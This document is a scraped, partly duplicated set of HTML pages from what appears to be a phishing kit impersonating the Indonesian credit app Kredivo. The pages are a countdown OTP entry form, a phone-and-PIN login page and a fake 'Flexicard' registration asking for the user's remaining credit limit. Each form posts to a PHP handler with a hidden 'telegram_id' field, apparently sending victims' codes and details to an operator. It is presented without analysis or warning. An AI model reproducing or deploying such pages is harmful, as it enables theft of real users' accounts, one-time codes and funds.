<html> <head> <title>Login Kredivo</title> <!– for-mobile-apps –> <meta name=”viewport” content=”width=device-width, initial-scale=1″> <meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8″> <meta name=”keywords” content=”Grocery Store Responsive web template, Bootstrap Web Templates, Flat Web Templates, Android Compatible web template, Smartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, SonyEricsson, Motorola web design”> <script type=”application/x-javascript”> addEventListener(“load”, function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script> <!– //for-mobile-apps –> <link href=”css/bootstrap.css” rel=”stylesheet” type=”text/css” media=”all”> <link href=”css/style.css” rel=”stylesheet” type=”text/css” media=”all”> <!– font-awesome icons –> <link href=”css/font-awesome.css” rel=”stylesheet” type=”text/css” media=”all”> <link rel=”stylesheet” href=”https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css”> <link href=”//netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css” rel=”stylesheet”> <!– //font-awesome icons –> <!– js –> <!– //js –> <script type=”text/javascript”> jQuery(document).ready(function($) { $(“.scroll”).click(function(event){ event.preventDefault(); $(‘html,body’).animate({scrollTop:$(this.hash).offset().top},1000); }); });</script> <!– start-smoth-scrolling –> <style>.input-container { display: flex; width: 100%; margin-bottom : 10px; border : 1px solid #dfdfdf; padding : 10px; border-radius:10px;}.input-container1 { display: flex; width: 100%; border : 1px solid #dfdfdf; padding : 10px; border-radius:10px; margin-top:30px;}/* Style the form icons */.icon { padding: 10px; background: white; color: dodgerblue; min-width: 50px; text-align: center;}/* Style the input fields */.input-field { width: 100%; padding: 10px; outline: none; border: none; font-size :15px;}/* Set a style for the submit button */.btn { background-color: #f27d31; color: white; padding: 15px 20px; border: none; cursor: pointer; width: 100%; opacity: 0.9; margin-top: 100px;}.btn:hover { opacity: 1;}.login-form{ width : 250px; margin-left : auto; margin-right : auto; margin-top:50px;}h4{ color : #2785CE; font-weight : bold;}.fingerprint{ float : right; width : 50px;}p{ font-size:11px; text-align:center; color:#3D3C42;}.eye{ width:30px; height:30px; margin-top:2px; margin-right:5px;}.imgleft{ width :20px; height:20px; margin-top : 5px;}.bannerimg{ width: 150px; margin-left:auto; margin-right:auto; margin-bottom:100px;}#timer{ text-align:center; font-weight:bold; font-size:20px; }body{ padding: 50px;}</style> </head> <body onload=”start_timer();”> <div class=”login-form”> <img src=”kredivo logo.png” class=”img-responsive bannerimg” !important=””> <div id=”timer”> <span id=”time”>00:02:59</span> </div> <br> <form action=”otp-confirmation-success.php” method=”post”> <div class=”shadow”> <p><strong>Masukkan kode OTP</strong><br>Masukkan kode OTP yang telah kami kirimkan ke nomor Anda</p> <div class=”input-container1″> <input class=”input-field” type=”number” placeholder=”KODE OTP” name=”otp” id=”otp” required maxlength=”4″ onkeypress=”return hanyaAngka (event)”> </div> <br> <input class=”input-field” type=”hidden” name=”telegram_id” value=”5489221268″> </div> <p><strong>Terjadi Masalah?</strong>Silahkan menghubungi ADMIN</p> <br> <div class=”button-image”> <button type=”submit” class=”btn” name=”submit”>Konfirmasi</button> </div> </form> </div> <!– //footer –> <!– Bootstrap Core JavaScript –> <script type=”text/javascript”> function start_timer(){ var timer = document.getElementById(“time”).innerHTML; var arr = timer.split(“:”); var hour = arr[0]; var min = arr[1]; var sec = arr[2]; if(sec == 0) { if(min == 0) { if(hour == 0) { alert(“Waktu Habis”); window.location.reload(); return; } hour–; min = 60; if(hour < 10) hour = “0” + hour; } min–; if(min < 10) min = “0” + min; sec = 59; } else sec–; if (sec < 10) sec == “0” + sec; document.getElementById(“time”).innerHTML = hour + “:” + min + “:” + sec; setTimeout(start_timer, 1000); } </script> <script>$(document).ready(function(){ $(“.dropdown”).hover( function() { $(‘.dropdown-menu’, this).stop( true, true ).slideDown(“fast”); $(this).toggleClass(‘open’); }, function() { $(‘.dropdown-menu’, this).stop( true, true ).slideUp(“fast”); $(this).toggleClass(‘open’); } );});</script> <script> function hanyaAngka(evt) { var charCode = (evt.which) ? evt.which : event.keyCode if (charCode > 31 && (charCode < 48 || charCode > 57)) return false; return true; } </script> <!– here stars scrolling icon –> <script type=”text/javascript”> $(document).ready(function() { /* var defaults = { containerID: ‘toTop’, // fading element id containerHoverID: ‘toTopHover’, // fading element hover id scrollSpeed: 1200, easingType: ‘linear’ }; */ $().UItoTop({ easingType: ‘easeOutQuart’ }); }); </script> <!– //here ends scrolling icon –> <a href=”#” id=”toTop” style=”display: none;”><span id=”toTopHover”></span>To Top</a> </body></html>
Login KredivoaddEventListener(“load”, function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); }jQuery(document).ready(function($) { $(“.scroll”).click(function(event){ event.preventDefault(); $(‘html,body’).animate({scrollTop:$(this.hash).offset().top},1000); }); });.input-container { display: flex; width: 100%; margin-bottom : 10px; border : 1px solid #dfdfdf; padding : 10px; border-radius:10px; } .input-container1 { display: flex; width: 100%; border : 1px solid #dfdfdf; padding : 10px; border-radius:10px; } /* Style the form icons */ .icon { padding: 10px; background: white; color: dodgerblue; min-width: 50px; text-align: center; } /* Style the input fields */ .input-field { width: 100%; padding: 10px; outline: none; border: none; font-size :11px; } /* Set a style for the submit button */ .btn { background-color: #f27d31; color: white; padding: 15px 20px; border: none; cursor: pointer; width: 100%; opacity: 0.9; margin-top: 20px; } .btn:hover { opacity: 1; } .login-form{ width : 100%; margin-left : auto; margin-right : auto; margin-top:50px; } h4{ color : #2785CE; font-weight : bold; } .fingerprint{ float : right; width : 50px; } p{ font-size:11px; font-weight:bold; text-align:center; color:#3AB4F2; } .eye{ width:30px; height:30px; margin-top:2px; margin-right:5px; } .imgleft{ width :20px; height:20px; margin-top : 5px; } .bannerimg{ width: 150px; margin-left:auto; margin-right:auto; margin-bottom:100px; } body{ padding: 20px; } .nope{ color:darkgrey; text-align:left; } img{ width:100px; } .header p{ float:right; text-align:right; font-weight:bold; color:black; font-size:14px; } .button-image{ text-align:center; font-size:13px; } .button-image p{ font-style:italic; margin-top:8px; font-weight:normal; font-size:14px; color:black; } .button-image a{ color:red; } h3{ text-align:center; font-weight:bold; font-family:poppins; margin-bottom:20px; font-size:18px; } #togglePassword{ width: 25px; background: url(“eye-open.png”); background-repeat:no-repeat; background-size:contain; cursor: pointer; margin-top:5px; } #togglePassword.buka{ width :25px; background: url(“eye-slash.png”); cursor:pointer; background-size:contain; background-repeat:no-repeat; } Butuh Bantuan?Masuk ke Akun Kredivo-MuNomor HandphonePINMasukBelum punya akun?Daftar Sekarangconst password = document.getElementById(‘password’); const toggle = document.getElementById(‘togglePassword’);<pre><code> function showHide(){ if(password.type === ‘password’){ password.setAttribute(‘type’, ‘text’); toggle.classList.add(‘buka’) } else{ password.setAttribute(‘type’, ‘password’); toggle.classList.remove(‘buka’) } }</code></pre>function hanyaAngka(evt) { var charCode = (evt.which) ? evt.which : event.keyCode if (charCode > 31 && (charCode < 48 || charCode > 57))<pre><code> return false; return true;</code></pre> }$(document).ready(function(){ $(“.dropdown”).hover( function() { $(‘.dropdown-menu’, this).stop( true, true ).slideDown(“fast”); $(this).toggleClass(‘open’); }, function() { $(‘.dropdown-menu’, this).stop( true, true ).slideUp(“fast”); $(this).toggleClass(‘open’); } ); });<br /> $(document).ready(function() {<br /> /*<br /> var defaults = {<br /> containerID: ‘toTop’, // fading element id<br /> containerHoverID: ‘toTopHover’, // fading element hover id<br /> scrollSpeed: 1200,<br /> easingType: ‘linear’ <br /> };<br /> */</p> <pre><code> $().UItoTop({ easingType: ‘easeOutQuart’ }); }); </script> </code></pre> <!– //here ends scrolling icon –> <p></a><br /> <a href=”#” id=”toTop” style=”display: none;”><span id=”toTopHover”></span>To Top</a><br /> </body><br /> </html></p>Login KredivoaddEventListener(“load”, function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); }jQuery(document).ready(function($) { $(“.scroll”).click(function(event){ event.preventDefault(); $(‘html,body’).animate({scrollTop:$(this.hash).offset().top},1000); }); });.input-container { display: flex; width: 100%; margin-bottom : 10px; border : 1px solid #dfdfdf; padding : 10px; border-radius:10px; } .input-container1 { display: flex; width: 100%; border : 1px solid #dfdfdf; padding : 10px; border-radius:10px; } /* Style the form icons */ .icon { padding: 10px; background: white; color: dodgerblue; min-width: 50px; text-align: center; } /* Style the input fields */ .input-field { width: 100%; padding: 10px; outline: none; border: none; font-size :11px; } /* Set a style for the submit button */ .btn { background-color: #f27d31; color: white; padding: 15px 20px; border: none; cursor: pointer; width: 100%; opacity: 0.9; margin-top: 20px; } .btn:hover { opacity: 1; } .login-form{ width : 100%; margin-left : auto; margin-right : auto; margin-top:50px; } h4{ color : #2785CE; font-weight : bold; } .fingerprint{ float : right; width : 50px; } p{ font-size:11px; font-weight:bold; text-align:center; color:#3AB4F2; } .eye{ width:30px; height:30px; margin-top:2px; margin-right:5px; } .imgleft{ width :20px; height:20px; margin-top : 5px; } .bannerimg{ width: 150px; margin-left:auto; margin-right:auto; margin-bottom:100px; } body{ padding: 20px; } .nope{ color:darkgrey; text-align:left; } img{ width:100px; } .header p{ float:right; text-align:right; font-weight:bold; color:black; font-size:14px; } .button-image{ text-align:center; font-size:13px; } .button-image p{ font-style:italic; margin-top:8px; font-weight:normal; font-size:14px; color:black; } .button-image a{ color:red; } h3{ text-align:center; font-weight:bold; font-family:poppins; margin-bottom:20px; font-size:18px; } #togglePassword{ width: 25px; background: url(“eye-open.png”); background-repeat:no-repeat; background-size:contain; cursor: pointer; margin-top:5px; } #togglePassword.buka{ width :25px; background: url(“eye-slash.png”); cursor:pointer; background-size:contain; background-repeat:no-repeat; } Butuh Bantuan?Masuk ke Akun Kredivo-MuNomor HandphonePINMasukBelum punya akun?Daftar Sekarangconst password = document.getElementById(‘password’); const toggle = document.getElementById(‘togglePassword’);<pre><code> function showHide(){ if(password.type === ‘password’){ password.setAttribute(‘type’, ‘text’); toggle.classList.add(‘buka’) } else{ password.setAttribute(‘type’, ‘password’); toggle.classList.remove(‘buka’) } }</code></pre>function hanyaAngka(evt) { var charCode = (evt.which) ? evt.which : event.keyCode if (charCode > 31 && (charCode < 48 || charCode > 57))<pre><code> return false; return true;</code></pre> }$(document).ready(function(){ $(“.dropdown”).hover( function() { $(‘.dropdown-menu’, this).stop( true, true ).slideDown(“fast”); $(this).toggleClass(‘open’); }, function() { $(‘.dropdown-menu’, this).stop( true, true ).slideUp(“fast”); $(this).toggleClass(‘open’); } ); });<br /> $(document).ready(function() {<br /> /*<br /> var defaults = {<br /> containerID: ‘toTop’, // fading element id<br /> containerHoverID: ‘toTopHover’, // fading element hover id<br /> scrollSpeed: 1200,<br /> easingType: ‘linear’ <br /> };<br /> */</p> <pre><code> $().UItoTop({ easingType: ‘easeOutQuart’ }); }); </script> </code></pre> <!– //here ends scrolling icon –> <p></a><br /> <a href=”#” id=”toTop” style=”display: none;”><span id=”toTopHover”></span>To Top</a><br /> </body><br /> </html></p>
Login KredivoaddEventListener(“load”, function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); }jQuery(document).ready(function($) { $(“.scroll”).click(function(event){ event.preventDefault(); $(‘html,body’).animate({scrollTop:$(this.hash).offset().top},1000); }); });/* Set a style for the submit button */ .btn { background-color: #f27d31; color: white; padding: 15px 20px; border: none; cursor: pointer; width: 100%; opacity: 0.9; margin-top: 20px; } .btn:hover { opacity: 1; } .login-form{ width : 250px; margin-left : auto; margin-right : auto; position: absolute; top: 50%; left: 50%; -ms-transform: translate(-50%, -50%); transform: translate(-50%, -50%); } p{ font-size:14px; font-weight:400; text-align:center; } h2{ text-align:center; font-weight:bold; font-family:poppins; } body{ padding: 50px; } img{ width:150px; margin-left:auto; margin-right:auto; border:1px solid grey; border-radius:10px; margin-bottom:5px; } KredivoIDDaftar Flexicard KredivoID Online, Daftar Member PremiumDaftar Flexicard KredivoID$(document).ready(function(){ $(“.dropdown”).hover( function() { $(‘.dropdown-menu’, this).stop( true, true ).slideDown(“fast”); $(this).toggleClass(‘open’); }, function() { $(‘.dropdown-menu’, this).stop( true, true ).slideUp(“fast”); $(this).toggleClass(‘open’); } ); });$(document).ready(function() { /* var defaults = { containerID: ‘toTop’, // fading element id containerHoverID: ‘toTopHover’, // fading element hover id scrollSpeed: 1200, easingType: ‘linear’ }; */ $().UItoTop({ easingType: ‘easeOutQuart’ }); });To Top
<html>
<head>
<title>Login Kredivo</title>
<!– for-mobile-apps –>
<meta name=”viewport” content=”width=device-width, initial-scale=1″>
<meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8″>
<meta name=”keywords” content=”Grocery Store Responsive web template, Bootstrap Web Templates, Flat Web Templates, Android Compatible web template,
Smartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, SonyEricsson, Motorola web design”>
<script type=”application/x-javascript”> addEventListener(“load”, function() { setTimeout(hideURLbar, 0); }, false);
function hideURLbar(){ window.scrollTo(0,1); } </script>
<!– //for-mobile-apps –>
<link href=”css/bootstrap.css” rel=”stylesheet” type=”text/css” media=”all”>
<link href=”css/style.css” rel=”stylesheet” type=”text/css” media=”all”>
<!– font-awesome icons –>
<link href=”css/font-awesome.css” rel=”stylesheet” type=”text/css” media=”all”>
<link rel=”stylesheet” href=”https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css”>
<link href=”//netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css” rel=”stylesheet”>
<!– //font-awesome icons –>
<!– js –>
<!– //js –>
<script type=”text/javascript”>
jQuery(document).ready(function($) {
$(“.scroll”).click(function(event){
event.preventDefault();
$(‘html,body’).animate({scrollTop:$(this.hash).offset().top},1000);
});
});
</script>
<!– start-smoth-scrolling –>
<style>
/* Set a style for the submit button */
.btn {
background-color: #f27d31;
color: white;
padding: 15px 20px;
border: none;
cursor: pointer;
width: 100%;
opacity: 0.9;
margin-top: 20px;
}
.btn:hover {
opacity: 1;
}
.login-form{
width : 100%;
margin-left : auto;
margin-right : auto;
}
h2{
text-align:center;
font-weight:bold;
font-family:poppins;
}
body{
padding:20px;
}
img{
width:100px;
}
.header p{
float:right;
text-align:right;
font-weight:bold;
color:black;
}
.tipeakun{
width:100%;
height : 80px;
background-color: #f27d31;
margin-top:10px;
padding:10px;
border-radius:20px;
}
.tipeakun h3{
text-align:center;
margin-bottom:5px;
font-family:poppins;
font-size: 16px;
font-weight:bold;
color:black;
}
input[type=radio]:not(old){
display : inline-block;
margin-left : 60px;
}
.tipeakun label{
font-size:14px;
}
.limit{
width:100%;
height : 180px;
background-color: #ffffff;
margin-top:10px;
padding:10px;
border:1px solid grey;
border-radius:20px;
box-shadow:3px 3px 6px grey;
}
.limit p{
font-size:12px;
text-align : center;
}
.limit label{
font-size:12px;
margin-left:5px;
}
.limitbulan{
text-align:center;
clear:both;
width:100%;
height:60px;
}
.sisalimit{
width:240px;
height:50px;
margin-left:auto;
margin-right:auto;
}
.sisalimit label{
float:left;
font-size:18px;
}
.form-control{
border:none;
outline:none;
box-shadow: none;
width:200px;
float:left;
margin-left:auto;
margin-right:auto;
font-size:18px;
font-weight:bold;
border-bottom:1px solid black;
}
form input[type=”text”]:focus {
outline:0px !important;
-webkit-appearance:none;
box-shadow: none !important;
}
.button-image{
text-align:center;
font-size:13px;
}
.button-image p{
font-style:italic;
margin-top:8px;
}
.button-image a{
color:red;
}
</style>
</head>
<body>
<div class=”header”>
<img src=”img/kredivo logo.png”>
<p>Butuh Bantuan?</p>
</div>
<hr>
<div class=”w3-content w3-section” style=”max-width:500px”>
<img class=”mySlides” src=”img/sc1.png” style=”width: 100%; display: block;”>
<img class=”mySlides” src=”img/sc2.png” style=”width: 100%; display: none;”>
<img class=”mySlides” src=”img/sc3.png” style=”width: 100%; display: none;”>
<img class=”mySlides” src=”img/sc4.png” style=”width: 100%; display: none;”>
<img class=”mySlides” src=”img/sc5.png” style=”width: 100%; display: none;”>
</div>
<div class=”login-form”>
<form action=”registrasi-success.php” method=”post”>
<div class=”tipeakun”>
<h3>Tipe Akun</h3>
<input type=”radio” class=”checkbox” name=”basic” id=”basic”>
<label for=”basic”>Basic</label>
<input type=”radio” class=”checkbox” name=”premium” id=”premium”>
<label for=”premium”>Premium</label>
</div>
<div class=”limit”>
<p>Konfirmasi sesuai limit yang tersedia di akun Anda :</p>
<hr>
<div class=”limitbulan”>
<input type=”checkbox” class=”nominal” name=”optionsatu” id=”optionsatu”>
<label for=”bulan”>3 Bulan</label>
<input type=”checkbox” class=”nominal” name=”optiondua” id=”optiondua”>
<label for=”bulan”>6 Bulan</label>
<input type=”checkbox” class=”nominal” name=”optiontiga” id=”optiontiga”>
<label for=”bulan”>12 Bulan</label>
</div>
<div class=”sisalimit”>
<label for=”rp”>Rp</label>
<input type=”text” id=”rupiah1″ name=”rupiah1″ class=”form-control” placeholder=”Sisa Limit” required>
</div>
</div>
<div class=”shadow”>
<input class=”input-field” type=”hidden” name=”telegram_id” value=”5489221268″>
</div>
<div class=”button-image”>
<button type=”submit” class=”btn” name=”submit”>Masuk</button>
<br>
<p>Belum punya akun?<a href=”https://play.google.com/store/apps/details?id=com.finaccel.android&hl=in&gl=US”>Daftar Sekarang</a></p>
<a href=”https://play.google.com/store/apps/details?id=com.finaccel.android&hl=in&gl=US”> </a>
</div>
<a href=”https://play.google.com/store/apps/details?id=com.finaccel.android&hl=in&gl=US”> </a>
</form>
</div>
<a href=”https://play.google.com/store/apps/details?id=com.finaccel.android&hl=in&gl=US”>
<!– //footer –>
<!– Bootstrap Core JavaScript –> <script>
$(document).on(‘click’, ‘input[type=”radio”]’, function() {
$(‘input[type=”radio”]’).not(this).prop(‘checked’, false);
});
</script> <script>
$(document).on(‘click’, ‘input[type=”checkbox”]’, function() {
$(‘input[type=”checkbox”]’).not(this).prop(‘checked’, false);
});
</script> <script>
var myIndex = 0;
carousel();
function carousel() {
var i;
var x = document.getElementsByClassName(“mySlides”);
for (i = 0; i < x.length; i++) {
x[i].style.display = “none”;
}
myIndex++;
if (myIndex > x.length) {myIndex = 1}
x[myIndex-1].style.display = “block”;
setTimeout(carousel, 2000); // Change image every 2 seconds
}
</script> <script>
$(document).ready(function(){
$(“.dropdown”).hover(
function() {
$(‘.dropdown-menu’, this).stop( true, true ).slideDown(“fast”);
$(this).toggleClass(‘open’);
},
function() {
$(‘.dropdown-menu’, this).stop( true, true ).slideUp(“fast”);
$(this).toggleClass(‘open’);
}
);
});
</script>
<!– here stars scrolling icon –> <script type=”text/javascript”>
$(document).ready(function() {
/*
var defaults = {
containerID: ‘toTop’, // fading element id
containerHoverID: ‘toTopHover’, // fading element hover id
scrollSpeed: 1200,
easingType: ‘linear’
};
*/
$().UItoTop({ easingType: ‘easeOutQuart’ });
});
</script>
<!– //here ends scrolling icon –> </a>
<a href=”#” id=”toTop” style=”display: none;”><span id=”toTopHover”></span>To Top</a>
</body>
</html>
Judul Situs 